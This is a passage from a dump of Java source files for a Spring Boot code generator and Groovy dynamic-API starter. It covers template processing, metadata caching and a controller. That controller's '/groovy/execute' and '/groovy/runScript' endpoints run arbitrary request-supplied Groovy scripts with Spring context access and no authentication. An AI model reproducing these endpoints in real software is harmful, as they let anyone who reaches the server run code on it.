(!org.springframework.util.StringUtils.isEmpty(str)) {\n\t\t\treturn str.substring(0, 1).toUpperCase() + str.substring(1);\n\t\t} else {\n\t\t\treturn str;\n\t\t}\n\t}\n\n//\tpublic static String firstLower(String str) {\n//\t\treturn str.substring(0, 1).toLowerCase() + str.substring(1);\n//\t}\n\n\tpublic static String replaceTabblePreStr(String str) {\n//\t\tstr = str.toLowerCase().replaceFirst(\"tab_\", \"\").replaceFirst(\"tb_\", \"\").replaceFirst(\"t_\", \"\");\n\t\tfor (String x : getConfig(\"tableRemovePrefixes\").split(\",\")) {\n\t\t\tif(str.startsWith(x.toLowerCase())){\n\t\t\t\tstr = str.replaceFirst(x.toLowerCase(), \"\");\n\t\t\t}\n\t\t}\n\t\treturn str;\n\t}\n\n\tpublic static String replaceRowPreStr(String str) {\n//\t\tstr = str.toLowerCase().replaceFirst(\"tab_\", \"\").replaceFirst(\"tb_\", \"\").replaceFirst(\"t_\", \"\");\n\t\tfor (String x : getConfig(\"rowRemovePrefixes\").split(\",\")) {\n\t\t\tstr = str.replaceFirst(x.toLowerCase(), \"\");\n\t\t}\n\t\treturn str;\n\t}\n\n\tpublic static String simpleName(String type) {\n\t\treturn type.replace(\"java.lang.\", \"\").replaceFirst(\"java.util.\", \"\");\n\t}\n\n//\tpublic static String upperCaseFirstWord(String str) {\n//\t\treturn str.substring(0, 1).toUpperCase() + str.substring(1);\n//\t}\n\tpublic static String upperCaseFirstWordV2(String str) {\n\t\tif(str!=null && str.length()>0){\n\t\t\tif(str.contains(\".\")){\n\t\t\t\tString strs[] = str.split(\"\\\\.\");\n\t\t\t\tString temp = \"\";\n\t\t\t\tfor(String strtmp : strs){\n\t\t\t\t\ttemp += strtmp.substring(0, 1).toUpperCase() + strtmp.substring(1);\n\t\t\t\t}\n\t\t\t\treturn temp;\n\t\t\t}else{\n\t\t\t\treturn str.substring(0, 1).toUpperCase() + str.substring(1);\n\t\t\t}\n\t\t}\n\t\treturn str;\n\t}\n\n\tpublic static String getType(int value) {\n\t\tswitch (value) {\n\t\tcase -6:\n\t\t\treturn \"java.lang.Integer\";\n\t\tcase 5:\n\t\t\treturn \"java.lang.Integer\";\n\t\tcase 4:\n\t\t\treturn \"java.lang.Integer\";\n\t\tcase -5:\n\t\t\treturn \"java.lang.Long\";\n\t\tcase 6:\n\t\t\treturn \"java.lang.Float\";\n\t\tcase 8:\n\t\t\treturn \"java.lang.Double\";\n\t\tcase 1:\n\t\t\treturn \"java.lang.String\";\n\t\tcase 12:\n\t\t\treturn \"java.lang.String\";\n\t\tcase -1:\n\t\t\treturn \"java.lang.String\";\n\t\tcase 91:\n\t\t\treturn \"java.util.Date\";\n\t\tcase 92:\n\t\t\treturn \"java.util.Date\";\n\t\tcase 93:\n\t\t\treturn \"java.util.Date\";\n\t\tcase 16:\n\t\t\treturn \"java.lang.Boolean\";\n\t\tdefault:\n\t\t\treturn \"java.lang.String\";\n\t\t}\n\t}\n\t\n\t\n\tpublic static void processTemplatesFileWriter(ClassInfo classInfo, Map<String, Object> datas, List<String> templates) throws IOException, TemplateException {\n\t\tfor(int i = 0 ; i < templates.size() ; i++) {\n\t\t\tif(CollectionUtils.isEmpty(filePaths)){\n\t\t\t\tGeneratorUtil.processFile(templates.get(i), datas, GeneratorUtil.getFilePaths(templates,classInfo).get(i));\n\t\t\t}else{\n\t\t\t\tGeneratorUtil.processFile(templates.get(i), datas, filePaths.get(i));\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic static void processFile(String templateName, Map<String, Object> data, String filePath)\n\t\t\tthrows IOException, TemplateException {\n\t\tTemplate template = getConfiguration().getTemplate(templateName);\n\t\tFile file = new File(filePath);\n\t\tif (!file.getParentFile().exists()) {\n\t\t\tfile.getParentFile().mkdirs();\n\t\t}\n\t\ttemplate.process(data, new FileWriter(file));\n\t\tSystem.out.println(filePath + \" 生成成功\");\n\t}\n\n\t/***\n\t * 模板构建，StringWriter 返回构建后的文本，不生成文件\n\t */\n\tpublic static String processString(String templateName, Map<String, Object> params)\n\t\t\tthrows IOException, TemplateException {\n\t\tTemplate template = getConfiguration().getTemplate(templateName);\n\t\tStringWriter result = new StringWriter();\n\t\ttemplate.process(params, result);\n\t\tString htmlText = result.toString();\n\t\treturn htmlText;\n\t}\n\n\n\tprivate static freemarker.template.Configuration getConfiguration() throws IOException {\n\t\tfreemarker.template.Configuration cfg = new freemarker.template.Configuration(\n\t\t\t\tfreemarker.template.Configuration.VERSION_2_3_23);\n\t\tif(getConfig(\"userDefaultTemplate\").equalsIgnoreCase(\"false\")){\n//\t\t\tgetProp(\"output_path\") +File.separator+\n\t\t\tcfg.setDirectoryForTemplateLoading(new File(getConfig(\"template_path\")));\n\t\t}else{\n\t\t\tcfg.setClassForTemplateLoading(GeneratorUtil.class,\"/\");\n\t\t}\n\t\tcfg.setDefaultEncoding(\"UTF-8\");\n\t\tcfg.setNumberFormat(\"#\");\n\t\tcfg.setTemplateExceptionHandler(TemplateExceptionHandler.IGNORE_HANDLER);\n\t\treturn cfg;\n\t}\n\n\n\t/***\n\t * 模板构建，输出源码字符串\n\t */\n\tpublic static Map<String, String> processTemplatesStringWriter(Map<String, Object> datas, List<String> templates)\n\t\t\tthrows IOException, TemplateException {\n\t\tMap<String, String> result = new HashMap<String, String>();\n\t\tfor(int i = 0 ; i < templates.size() ; i++) {\n\t\t\tGeneratorUtil.processString(templates.get(i), datas );\n\t\t\tresult.put(templates.get(i), GeneratorUtil.processString(templates.get(i), datas));\n\t\t}\n\t\treturn result;\n\t}\n\n\n\tpublic static ClassInfo getClassInfo(Table table) {\n\t\t// V1 初始化数据及对象 模板V1 field List\n\t\tList<FieldInfo> fieldList = new ArrayList<FieldInfo>();\n\t\tfor (Column column : table.getColumns()) {\n\t\t\t// V1 初始化数据及对象\n\t\t\tString remarks = column.getComment();// cloumnsSet.getString(\"REMARKS\");// 列的描述\n\t\t\tString columnName = column.getName();// cloumnsSet.getString(\"COLUMN_NAME\"); // 获取列名\n\t\t\tString javaType = GeneratorUtil.getType(column.getType()/*cloumnsSet.getInt(\"DATA_TYPE\")*/);// 获取类型，并转成JavaType\n\t\t\tString columnType = column.getTypeName();// 获取类型，并转成JavaType\n\t\t\tlong COLUMN_SIZE = column.getSize();// cloumnsSet.getInt(\"COLUMN_SIZE\");// 获取\n\t\t\tString COLUMN_DEF = column.getColumnDef();// cloumnsSet.getString(\"COLUMN_DEF\");// 获取\n\t\t\tBoolean nullable = column.isNullable();// cloumnsSet.getInt(\"NULLABLE\");// 获取\n\t\t\tString propertyName = GeneratorUtil.replace_(GeneratorUtil.replaceRowPreStr(columnName));// 处理列名，驼峰\n\t\t\tBoolean isPk = column.isPk();\n\n\t\t\t// V1 初始化数据及对象\n\t\t\tFieldInfo fieldInfo = new FieldInfo();\n\t\t\tfieldInfo.setColumnName(columnName);\n\t\t\tfieldInfo.setColumnType(columnType);\n\t\t\tfieldInfo.setFieldName(propertyName);\n\t\t\tfieldInfo.setFieldClass(GeneratorUtil.simpleName(javaType));\n\t\t\tfieldInfo.setFieldComment(remarks);\n\t\t\tfieldInfo.setColumnSize(COLUMN_SIZE);\n\t\t\tfieldInfo.setNullable(nullable);\n\t\t\tfieldInfo.setFieldType(javaType);\n\t\t\tfieldInfo.setIsPrimaryKey(isPk);\n\t\t\tfieldList.add(fieldInfo);\n\t\t}\n\t\tif (fieldList != null && fieldList.size() > 0) {\n\t\t\tClassInfo classInfo = new ClassInfo();\n\t\t\tclassInfo.setTableName(table.getTableName());\n\t\t\tString className = GeneratorUtil.replace_(GeneratorUtil.replaceTabblePreStr(table.getTableName())); // 名字操作,去掉tab_,tb_，去掉_并转驼峰\n\t\t\tString classNameFirstUpper = GeneratorUtil.firstUpper(className); // 大写对象\n\t\t\tclassInfo.setClassName(classNameFirstUpper);\n\t\t\tif(table.getComment().contains(\"表\")){\n\t\t\t\tclassInfo.setClassComment(table.getComment().replace(\"表\",\"\"));\n\t\t\t}else{\n\t\t\t\tclassInfo.setClassComment(table.getComment());\n\t\t\t}\n\t\t\tclassInfo.setFieldList(fieldList);\n\t\t\tclassInfo.setPkSize(table.getPkNames().size());\n\t\t\treturn classInfo;\n\t\t}\n\t\treturn null;\n\t}\n\n\n\tpublic static void genTables(List<ClassInfo> classInfos, List<String> templates ) throws Exception {\n\n\t\tif(CollectionUtils.isEmpty(templates)){\n\t\t\ttemplates = GeneratorUtil.templates;\n\t\t\tif(CollectionUtils.isEmpty(templates)){\n\t\t\t\ttemplates = GeneratorUtil.templates;\n\t\t\t\tlogger.error(\"代码生成模板未初始化，请初始化【templates】\");\n\t\t\t}\n\t\t}\n\t\tList<String> finalTemplates = templates;\n\t\tclassInfos.forEach(classInfo -> {\n\t\t\tMap<String, Object> datas = new HashMap<String, Object>();\n\t\t\tdatas.put(\"classInfo\", classInfo);\n\t\t\tconfig.forEach((k, v)->{\n\t\t\t\tif(String.valueOf(v).equalsIgnoreCase(\"true\")||String.valueOf(v).equalsIgnoreCase(\"false\")){\n\t\t\t\t\tdatas.put(String.valueOf(k), Boolean.valueOf(String.valueOf(v)));\n\t\t\t\t}else{\n\t\t\t\t\tdatas.put(String.valueOf(k), v);\n\t\t\t\t}\n\t\t\t});\n\t\t\tdatas.put(\"package\", getConfig(\"package\"));\n\t\t\tdatas.put(\"author\", getConfig(\"author\"));\n\t\t\tdatas.put(\"email\", getConfig(\"email\"));\n\t\t\tdatas.put(\"datetime\", DateUtil.now());\n\t\t\tdatas.put(\"identity\", IdUtil.getSnowflakeNextIdStr());\n\t\t\tdatas.put(\"addId\", IdUtil.getSnowflakeNextIdStr());\n\t\t\tdatas.put(\"updateId\", IdUtil.getSnowflakeNextIdStr());\n\t\t\tdatas.put(\"deleteId\", IdUtil.getSnowflakeNextIdStr());\n\t\t\tdatas.put(\"selectId\", IdUtil.getSnowflakeNextIdStr());\n\n\t\t\tMap<String, String> result = new HashMap<String, String>();\n\t\t\ttry {\n\t\t\t\tresult = GeneratorUtil.processTemplatesStringWriter(datas, finalTemplates);\n\t\t\t\tGeneratorUtil.processTemplatesFileWriter(classInfo, datas, finalTemplates);\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t} catch (TemplateException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t\t// 计算,生成代码行数\n\t\t\tint lineNum = 0;\n\t\t\tfor (Map.Entry<String, String> item : result.entrySet()) {\n\t\t\t\tif (item.getValue() != null) {\n\t\t\t\t\tlineNum += StringUtils.countMatches(item.getValue(), \"\\n\");\n\t\t\t\t}\n\t\t\t}\n\t\t\tlogger.info(\"生成代码行数：{}\", lineNum);\n\t\t});\n\t\tif (CollectionUtils.isEmpty(classInfos)) {\n\t\t\tlogger.error(\"找不到当前表的元数据classInfos.size()：{}\", classInfos.size());\n\t\t}\n\t}\n\n\n\n\tpublic static List<ClassInfo> getClassInfos(List<String> tableNames) {\n\t\tDataSource ds = getDruidDataSource();\n\t\tList<ClassInfo> classInfos = Lists.newArrayList();\n\t\ttableNames.stream().forEach(t -> {\n\t\t\tTable table = MetaUtil.getTableMeta(ds, t);\n\t\t\tif(table.getPkNames().size()>0){//没有主键是不生成的\n\t\t\t\tclassInfos.add(GeneratorUtil.getClassInfo(table));\n\t\t\t}else{\n\t\t\t\tStaticLog.error(\"表\"+table.getTableName()+\"没有主键是不生成代码的，至少得一个主键\");\n\t\t\t}\n\t\t});\n\t\treturn classInfos;\n\t}\n\n\n\tprivate static DataSource getDruidDataSource() {\n\t\tif(dataSource == null){\n\t\t\tDruidDataSource ds = new DruidDataSource();\n\t\t\tds.setDriverClassName(getConfig(\"jdbc.driver\"));\n\t\t\tds.setUrl(getConfig(\"jdbc.url\"));\n\t\t\tds.setUsername(getConfig(\"jdbc.username\"));\n\t\t\tds.setPassword(getConfig(\"jdbc.password\"));\n\t\t\tds.setRemoveAbandoned(true);\n\t\t\tds.setRemoveAbandonedTimeout(600);\n\t\t\tds.setLogAbandoned(true);\n//\t\t\tds.setBreakAfterAcquireFailure(true);\n\t\t\tds.setTimeBetweenConnectErrorMillis(60000);//1分钟\n//\t\t\tds.setConnectionErrorRetryAttempts(0);\n\t\t\tds.setValidationQuery(\"SELECT 1\");//用来检测连接是否有效\n//\t\t\tds.setTestOnBorrow(false);//借用连接时执行validationQuery检测连接是否有效，做了这个配置会降低性能\n//\t\t\tds.setTestOnReturn(false);//归还连接时执行validationQuery检测连接是否有效，做了这个配置会降低性能\n\t\t\t//连接空闲时检测，如果连接空闲时间大于timeBetweenEvictionRunsMillis指定的毫秒，执行validationQuery指定的SQL来检测连接是否有效\n//\t\t\tds.setTestWhileIdle(true);//如果检测失败，则连接将被从池中去除\n\t\t\tds.setMaxActive(200);\n\t\t\tds.setInitialSize(5);\n\t\t\tdataSource = ds;\n\t\t\treturn ds;\n\t\t}\n\t\treturn dataSource;\n\t}\n\n\n\n\n\tpublic static DataSource getDataSource() {\n\t\treturn dataSource;\n\t}\n\n\tpublic static void setDataSource(DataSource dataSource) {\n\t\tGeneratorUtil.dataSource = dataSource;\n\t}\n\n\tpublic static List<String> getTemplates() {\n\t\treturn templates;\n\t}\n\n\tpublic static void setTemplates(List<String> templates) {\n\t\tGeneratorUtil.templates = templates;\n\t}\n\n\tpublic static Map getConfig() {\n\t\treturn config;\n\t}\n\n\tpublic static void initConfig(Map props) {\n\t\tinit();\n\t\tGeneratorUtil.config.putAll(props);\n\t}\n\n\tpublic static void genCode(String tableNames) throws Exception {\n\t\tinit();\n\t\tif( CollectionUtils.isEmpty(templates)){\n\t\t\tconfig.put(\"userDefaultTemplate\",\"true\");// 未设置模板，使用内置模板\n\t\t}\n\t\tif(getConfig(\"userDefaultTemplate\").equalsIgnoreCase(\"true\")  ){\n\t\t\ttemplates = Lists.newArrayList();\n\t\t\t// ************************************************************************************\n\t\t\ttemplates.add(\"/templates/mybatis-plus-single-v2/controller.java.ftl\");\n\t\t\ttemplates.add(\"/templates/mybatis-plus-single-v2/entity.java.ftl\");\n\t\t\ttemplates.add(\"/templates/mybatis-plus-single-v2/mapper.java.ftl\");\n\t\t\ttemplates.add(\"/templates/mybatis-plus-single-v2/service.java.ftl\");\n\t\t\ttemplates.add(\"/templates/mybatis-plus-single-v2/dto.java.ftl\");\n\t\t\ttemplates.add(\"/templates/mybatis-plus-single-v2/vo.java.ftl\");\n\t\t\ttemplates.add(\"/templates/mybatis-plus-single-v2/service.impl.java.ftl\");\n\t\t}\n\t\tGeneratorUtil.genCode(Arrays.asList(tableNames.split(\",\")),templates);\n\t}\n\tpublic static void genCode(List<String> tableNames, List<String> templates ) throws Exception {\n\t\tinit();\n\t\tList<ClassInfo> classInfos = GeneratorUtil.getClassInfos(tableNames);\n\t\tGeneratorUtil.genTables(classInfos, templates);\n\t}\n\tpublic static void genCode(List<String> tableNames) throws Exception {\n\t\tinit();\n\t\tList<ClassInfo> classInfos = GeneratorUtil.getClassInfos(tableNames);\n\t\tGeneratorUtil.genTables(classInfos, templates);\n\t}\n\n\n\tpublic static void help() throws Exception {\n\t\tStaticLog.info(\"Step1，代码生成器使用步骤\");\n\t\tStaticLog.info(\"Step2，写个mani方法，copy下面步骤的代码\");\n\t\tStaticLog.info(\"\\tpublic static void main(String[] args) throws Exception {\\n\" +\n\t\t\t\t\"\\t\\t//String tables = \\\"res_basc,res_basc_arg,api_config\\\";\\n\" +\n\t\t\t\t\"\\t\\tMap config = Maps.newHashMap();\\n\" +\n\t\t\t\t\"\\t\\tconfig.put(\\\"authorName\\\",\\\"Wujun\\\");\\n\" +\n\t\t\t\t\"\\t\\tconfig.put(\\\"packageName\\\",\\\"com.bjc.lcp.app1\\\");\\n\" +\n\t\t\t\t\"\\t\\tconfig.put(\\\"template_path\\\",\\\"D:\\\\\\\\workspace\\\\\\\\github\\\\\\\\jun_api_service\\\\\\\\jun_api_service_online\\\\\\\\plugins\\\\\\\\generator2\\\\\\\\src\\\\\\\\main\\\\\\\\resources\\\\\\\\mybatis-plus-single-v3\\\");\\n\" +\n\t\t\t\t\"\\t\\tconfig.put(\\\"output_path\\\",\\\"D:\\\\\\\\workspace\\\\\\\\github\\\\\\\\jun_api_service\\\\\\\\jun_api_service_online\\\\\\\\plugins\\\\\\\\generator2\\\");\\n\" +\n\t\t\t\t\"\\t\\tconfig.put(\\\"jdbc.url\\\",\\\"jdbc:mysql://localhost:3306/db_qixing_bk?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\\\");\\n\" +\n\t\t\t\t\"\\t\\tconfig.put(\\\"jdbc.username\\\",\\\"root\\\");\\n\" +\n\t\t\t\t\"\\t\\tconfig.put(\\\"jdbc.password\\\",\\\"\\\");\\n\" +\n\t\t\t\t\"\\t\\tconfig.put(\\\"jdbc.driver\\\",\\\"com.mysql.cj.jdbc.Driver\\\");\\n\" +\n\t\t\t\t\"\\t\\tconfig.put(\\\"isLombok\\\",\\\"true\\\");\\n\" +\n\t\t\t\t\"\\t\\tconfig.put(\\\"isSwagger\\\",\\\"true\\\");\\n\" +\n\t\t\t\t\"\\t\\tconfig.put(\\\"userDefaultTemplate\\\",\\\"true\\\");\\n\" +\n\t\t\t\t\"\\t\\t//GeneratorUtil.setTemplates(getTemplates());\\n\" +\n\t\t\t\t\"\\t\\tGeneratorUtil.initConfig(config);\\n\" +\n\t\t\t\t\"\\t\\tGeneratorUtil.genCode(\\\"ext_salgrade\\\");\\n\" +\n\t\t\t\t\"\\t}\");\n\t\tStaticLog.info(\"Step3，以上为使用默认模板生成\");\n\t\tStaticLog.info(\"Step4，自定义模板需要设置userDefaultTemplate为false\");\n\t\tStaticLog.info(\"Step5，并设置自定义模板清单及路径\");\n\t\tStaticLog.info(\"public static List<String> getTemplates() {\\n\" +\n\t\t\t\t\"\\t\\tList<String> templates = Lists.newArrayList();\\n\" +\n\t\t\t\t\"\\t\\ttemplates.add(\\\"controller.java.ftl\\\");\\n\" +\n\t\t\t\t\"\\t\\ttemplates.add(\\\"entity.java.ftl\\\");\\n\" +\n\t\t\t\t\"\\t\\ttemplates.add(\\\"mapper.java.ftl\\\");\\n\" +\n\t\t\t\t\"\\t\\ttemplates.add(\\\"service.java.ftl\\\");\\n\" +\n\t\t\t\t\"\\t\\ttemplates.add(\\\"dto.java.ftl\\\");\\n\" +\n\t\t\t\t\"\\t\\ttemplates.add(\\\"vo.java.ftl\\\");\\n\" +\n\t\t\t\t\"\\t\\ttemplates.add(\\\"service.impl.java.ftl\\\");\\n\" +\n\t\t\t\t\"\\t\\treturn templates;\\n\" +\n\t\t\t\t\"\\t}\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/groovy/ApiAutoConfig.java",
    "content": "package io.github.wujun728.groovy;\n\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.Configuration;\n\n@Configuration\n@ComponentScan(basePackages = \"io.github.wujun728.groovy\")\npublic class ApiAutoConfig  {\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/groovy/GroovyPool.java",
    "content": "package io.github.wujun728.groovy;\n\npublic class GroovyPool {\n    public static String TRUE = \"true\";\n    public static String FALSE = \"false\";\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/groovy/cache/ApiConfigCache.java",
    "content": "package io.github.wujun728.groovy.cache;\n\nimport java.util.Collection;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.UUID;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentMap;\n\nimport io.github.wujun728.sql.entity.ApiConfig;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Component;\nimport org.springframework.util.ObjectUtils;\n\n\n/**\n * API信息缓存\n */\n@Slf4j\n@Component\npublic class ApiConfigCache implements IApiConfigCache {\n\n    private Map<String, ApiConfig> cacheApiConfig = new ConcurrentHashMap<>();\n\n    private String instanceId = UUID.randomUUID().toString().replaceAll(\"-\", \"\").substring(0, 15);;\n//    private String instanceId = IdUtil.generateUUID();\n\n    @Override\n    public ApiConfig get(ApiConfig apiInfo){\n        return cacheApiConfig.get(buildApiConfigKey(apiInfo));\n    }\n    @Override\n    public ApiConfig get(String path){\n    \treturn cacheApiConfig.get(path);\n    }\n\n    @Override\n    public Collection<ApiConfig> getAll() {\n        return cacheApiConfig.values();\n    }\n\n    @Override\n    public void removeAll() {\n        cacheApiConfig.clear();\n    }\n\n    @Override\n    public void remove(ApiConfig apiInfo) {\n        cacheApiConfig.remove(buildApiConfigKey(apiInfo));\n    }\n\n    @Override\n    public void put(ApiConfig apiInfo) {\n        cacheApiConfig.put(buildApiConfigKey(apiInfo),apiInfo);\n    }\n    @Override\n    public void putAll(List<ApiConfig> apiInfos) {\n    \tthis.removeAll();\n    \tfor(ApiConfig apiInfo : apiInfos) {\n    \t\tthis.put(apiInfo);\n    \t}\n    }\n\n    private String buildApiConfigKey(ApiConfig apiInfo) {\n    \treturn apiInfo.getPath();\n    }\n\n    \tpublic static String getByPath(String path) {\n\t\treturn beanNameMap.get(path);\n\t}\n\n\n\n\n\n\n\n\n    /**\n     //\t * 脚本列表\n     \t */\n\tprivate static ConcurrentMap<String, ApiConfig> groovyMap = new ConcurrentHashMap<>();\n\n\t/**\n\t * 缓存 beanNameList脚本列表\n\t */\n\tprivate static ConcurrentMap<String, String> beanNameMap = new ConcurrentHashMap<>();\n\n\t/**\n\t * 把脚本缓存一下\n\t *\n\t * @param groovyList\n\t */\n\tpublic static void put2map(List<ApiConfig> groovyList) {\n\n\t\t// 先清空\n\t\tif (!beanNameMap.isEmpty()) {\n\t\t\tbeanNameMap.clear();\n\t\t}\n\t\tif (!groovyMap.isEmpty()) {\n\t\t\tgroovyMap.clear();\n\t\t}\n\t\tfor (ApiConfig groovyInfo : groovyList) {\n\t\t\tString scriptName = groovyInfo.getBeanName();\n\t\t\tif (!groovyMap.containsKey(scriptName)) {\n\t\t\t\tgroovyMap.put(scriptName, groovyInfo);\n\t\t\t} else {\n\t\t\t\t// 发现重名groovy脚本\n\t\t\t\tlog.warn(\"found duplication groovy script:\" + groovyInfo);\n\t\t\t}\n\t\t\t// 缓存 beanNameList\n\t\t\tif (!beanNameMap.containsKey(groovyInfo.getPath())) {\n\t\t\t\tbeanNameMap.put(groovyInfo.getPath(), groovyInfo.getBeanName());\n\t\t\t} else {\n\t\t\t\tlog.warn(\"found duplication path:\" + groovyInfo.getPath());\n\t\t\t}\n\t\t}\n\t}\n\n\n\t/**\n\t * 更新map\n\t *\n\t * @param groovyInfos\n\t */\n\tpublic static void update2map(List<ApiConfig>[] groovyInfos) {\n\t\tList<ApiConfig> addedApiConfigs = groovyInfos[0];\n\t\tList<ApiConfig> updatedApiConfigs = groovyInfos[1];\n\t\tList<ApiConfig> deletedApiConfigs = groovyInfos[2];\n\t\taddMap(addedApiConfigs);\n\t\taddMap(updatedApiConfigs);\n\t\tremoveMap(deletedApiConfigs);\n\t}\n\n\t/**\n\t * 新增\n\t * @param groovyList\n\t */\n\tprivate static void addMap(List<ApiConfig> groovyList) {\n\t\tfor (ApiConfig groovyInfo : groovyList) {\n\t\t\tgroovyMap.put(groovyInfo.getBeanName(), groovyInfo);\n\t\t}\n\t}\n\n\t/**\n\t * 删除\n\t * @param groovyList\n\t */\n\tprivate static void removeMap(List<ApiConfig> groovyList) {\n\t\tfor (ApiConfig groovyInfo : groovyList) {\n\t\t\tgroovyMap.remove(groovyInfo.getBeanName());\n\t\t}\n\t}\n\n\t/**\n\t * 根据名称获取脚本信息\n\t * @param scriptName\n\t * @return\n\t */\n\tpublic static ApiConfig getByName(String scriptName) {\n\t\treturn groovyMap.get(scriptName);\n\t}\n\n\n\tpublic static ApiConfig getApiConfigByPath(String Path) {\n\t\tString beanName = beanNameMap.get(Path);\n\t\tif(ObjectUtils.isEmpty(beanName)) {\n\t\t\tlog.error(\"beanname-{} 不能为空 \",beanNameMap.get(Path));\n\t\t\tlog.error(\"Path-{} 没有注册的Bean \",Path);\n\t\t}\n\t\tApiConfig info = groovyMap.get(beanNameMap.get(Path));\n\t\tif(ObjectUtils.isEmpty(info)) {\n\t\t\tlog.error(\"Path-{} 不能为空 \",Path);\n\t\t}\n\t\treturn info;\n\t}\n\n\tpublic static Map<String, ApiConfig> getApiConfigs() {\n\t\treturn groovyMap;\n\t}\n\n\tpublic static Map<String, String> getBeanNameMap() {\n\t\treturn beanNameMap;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/groovy/cache/IApiConfigCache.java",
    "content": "package io.github.wujun728.groovy.cache;\n\nimport io.github.wujun728.sql.entity.ApiConfig;\n\nimport java.util.Collection;\nimport java.util.List;\n\n\n/**\n * API信息缓存\n */\npublic interface IApiConfigCache {\n\tpublic ApiConfig get(ApiConfig apiInfo);\n\n\tpublic ApiConfig get(String path);\n\n\tpublic void put(ApiConfig apiInfo);\n\n\tpublic void remove(ApiConfig apiInfo);\n\n\tpublic void removeAll();\n\n\tpublic Collection<ApiConfig> getAll();\n\n\tpublic void  putAll(List<ApiConfig> apiInfos);\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/groovy/controller/GroovyScriptController.java",
    "content": "package io.github.wujun728.groovy.controller;\n\nimport cn.hutool.extra.spring.SpringUtil;\nimport groovy.lang.GroovyClassLoader;\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.groovy.groovy.GroovyDynamicLoader;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport javax.annotation.Resource;\nimport javax.script.*;\nimport java.lang.reflect.Method;\nimport java.util.HashMap;\n\n@RestController\n//@Api(tags = \"Groovy脚本执行接口\")\n@RequestMapping(path = \"/groovy\")\npublic class GroovyScriptController {\n//    private ScriptEngineManager scriptEngineManager;\n//    private ApplicationContext applicationContext;\n    \n    @Resource\n\tprivate GroovyDynamicLoader groovyDynamicLoader;\n\t\n\t@RequestMapping(\"/test\")\n\tpublic int test(int number1, int number2) {\n\t\treturn number1 + number2;\n\t\t\n\t}\n\n\t@RequestMapping(\"/refresh\")\n\tpublic Result refresh() {\n\t\ttry {\n\t\t\tgroovyDynamicLoader.refreshNew();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n            return Result.fail(\"緩存刷新失败！\" + e.getMessage());\n        }\n\t\treturn Result.success(\"緩存刷新成功\");\n\t}\n\n    /*@Autowired\n    public GroovyScriptController(ScriptEngineManager scriptEngineManager, ApplicationContext applicationContext) {\n        Assert.notNull(scriptEngineManager, \"scriptEngineManager is not allowed null.\");\n        Assert.notNull(applicationContext, \"applicationContext is not allowed null.\");\n        this.scriptEngineManager = scriptEngineManager;\n        this.applicationContext = applicationContext;\n    }*/\n\n    @PostMapping(\"/execute\")\n    //@ApiOperation(notes = \"执行Groovy脚本\", value = \"执行groovy脚本\")\n    public Object execute(String script) throws ScriptException {\n        ScriptEngineManager scriptEngineManager = new ScriptEngineManager();\n        ScriptEngine engine = scriptEngineManager.getEngineByName(\"groovy\");\n        ScriptContext context = new SimpleScriptContext();\n        context.setBindings(new SimpleBindings(new HashMap<String, Object>(1) {{\n            put(\"spring\", SpringUtil.getApplicationContext());\n        }}), ScriptContext.ENGINE_SCOPE);\n        return engine.eval(script, context).toString();\n    }\n\n    @RequestMapping(\"/runScript\")\n    public Object runScript(String script) throws Exception {\n        if (script != null) {\n            // 这里其实就是groovy的api动态的加载生成一个Class，然后反射生成对象，然后执行run方法，最后返回结果\n            // 最精华的地方就是SpringContextUtils.autowireBean，可以实现自动注入bean，\n            Class clazz = new GroovyClassLoader().parseClass(script);\n            Method run = clazz.getMethod(\"run\");\n            Object bean = clazz.newInstance();\n            SpringUtil.getApplicationContext().getAutowireCapableBeanFactory().autowireBean(bean);\n            Object ret = run.invoke(bean);\n            return ret;\n        } else {\n            return \"no script\";\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/groovy/groovy/DbCommandLineRunner.java",
    "content": "//package io.github.wujun728.groovy.groovy;//package io.github.wujun728.common.run;\n//\n//import cn.hutool.core.util.ObjectUtil;\n//import cn.hutool.extra.spring.SpringUtil;\n//import io.github.wujun728.db.record.Db;\n//import io.github.wujun728.db.record.DbPool;\n//import org.springframework.boot.CommandLineRunner;\n//import org.springframework.stereotype.Component;\n//\n//import javax.sql.DataSource;\n//\n//import static io.github.wujun728.db.record.Db.main;\n//\n//@Component\n//public class DbCommandLineRunner implements CommandLineRunner {\n//\n//    @Override\n//    public void run(String... args) throws Exception {\n//        System.out.println(\"Custom CommandLineRunner :  MyCommandLineRunner.run\");\n//        String enable = SpringUtil.getProperty(\"db.api.enable\");\n//        enable = DbPool.TRUE.equals(enable)?DbPool.TRUE:DbPool.FALSE;\n//        if(Boolean.valueOf(enable)){\n//            init();\n//        }\n//\n//    }\n//\n//    void init(){\n//        String ds = SpringUtil.getProperty(\"db.main.ds\");\n//        DataSource dataSource = SpringUtil.getBean(ds);\n//        if(ObjectUtil.isEmpty(dataSource)){\n//            dataSource = SpringUtil.getBean(DataSource.class);\n//        }\n//        if(ObjectUtil.isNotEmpty(dataSource)){\n//            Db.init(main,dataSource,true);\n//            GroovyDynamicLoader groovyDynamicLoader = SpringUtil.getBean(GroovyDynamicLoader.class);\n//            groovyDynamicLoader.initNew();\n//            System.out.println(\"Custom CommandLineRunner :  MyCommandLineRunner.run\");\n//        }\n//    }\n//\n//}\n"
  },
  {
